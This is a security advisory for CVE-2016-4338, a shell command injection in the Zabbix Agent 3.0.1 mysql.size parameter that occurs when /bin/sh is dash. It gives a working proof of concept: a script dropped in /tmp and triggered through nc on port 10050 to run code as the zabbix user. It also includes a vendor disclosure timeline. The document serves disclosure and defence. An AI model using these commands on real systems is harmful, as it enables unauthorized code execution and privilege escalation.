Zabbix Agent 3.0.1 mysql.size Shell Command Injection

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CVE-2016-4338: Zabbix Agent 3.0.1 mysql.size shell command injection  
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Affected products  
=================  
  
At least Zabbix Agent 1:3.0.1-1+wheezy from  
http://repo.zabbix.com/zabbix/3.0/debian is vulnerable. Other versions  
were not tested.  
  
Background  
==========  
  
"Zabbix agent is deployed on a monitoring target to actively monitor  
local resources and applications (hard drives, memory, processor  
statistics etc).  
  
The agent gathers operational information locally and reports data to  
Zabbix server for further processing. In case of failures (such as a  
hard disk running full or a crashed service process), Zabbix server  
can actively alert the administrators of the particular machine that  
reported the failure.  
  
Zabbix agents are extremely efficient because of use of native system  
calls for gathering statistical information."  
  
-- https://www.zabbix.com/documentation/3.0/manual/concepts/agent  
  
Description  
===========  
  
Zabbix agent listens on port 10050 for connections from the Zabbix  
server. The commands can be built-in or user-defined.  
  
The mysql.size user parameter defined in  
/etc/zabbix/zabbix_agentd.d/userparameter_mysql.conf takes three input  
parameters and uses a shell script to generate an SQL query:  
  
UserParameter=mysql.size[*],echo "select sum($(case "$3" in both|"") echo "data_length+index_length";; data|index) echo "$3_length";; free) echo "data_free";; esac)) from information_schema.tables$([[ "$1" = "all" || ! "$1" ]] || echo " where table_schema='$1'")$([[ "$2" = "all" || ! "$2" ]] || echo "and table_name='$2'");" | HOME=/var/lib/zabbix mysql -N  
  
The code assumes that /bin/sh is bash that supports the [[ compound  
command. However, if /bin/sh is for example dash the statement  
  
[[ "$1" = "all" || ! "$1" ]]  
  
ends up executing the command "$1" with the argument "]]".  
  
Exploit  
=======  
  
Zabbix sanitizes the input and blocks many dangerous characters  
("\\'\"`*?[]{}~$!&;()<>|#@\n"). Since we cannot use quotes we cannot  
give our shell commands any parameters which significantly reduces the  
impact of this vulnerability. If you find a way to execute arbitrary  
commands using this flaw I'd be really interested in the details. The  
following proof-of-concept shows how the vulnerability can be used  
escalate privileges locally:  
  
$ echo -en '#!/bin/bash\necho "This code is running as $(id)" 1>&2\n' > /tmp/owned  
$ chmod a+rx /tmp/owned  
$ echo 'mysql.size[/tmp/owned,all,both]' | nc localhost 10050 | cat -A  
ZBXD^AM-^O^@^@^@^@^@^@^@sh: 1: [[: not found$  
This code is running as uid=110(zabbix) gid=114(zabbix) groups=114(zabbix)$  
sh: 1: [[: not found$  
sh: 1: all: not found$  
  
The exploit of course assumes that the Server line in the  
configuration includes "127.0.0.1". If the agent is configured to  
accept connections only from the Zabbix server. In that case this  
issue can only be exploited from the server or by spoofing the IP  
address of the server (with for example ARP spoofing).  
  
Since output of the command is piped to mysql it might be possible to  
also execute some SQL commands in the database.  
  
Author  
======  
  
This issue was discovered by Timo Lindfors from Nixu Corporation.  
  
Timeline  
========  
  
2016-04-19: Issue discovered and reported internally for verification.  
2016-04-21: Issue reported to vendor.  
2016-04-22: Vendor acknowledges vulnerability and starts patching.  
2016-04-26: Asked status update from vendor.  
2016-04-26: Vendor responds that the issue is still being patched.  
2016-04-26: CVE requested from MITRE.  
2016-04-28: MITRE assigned CVE-2016-4338 for this vulnerability.  
2016-05-02: Vendor published details in the issue tracker https://support.zabbix.com/browse/ZBX-10741  
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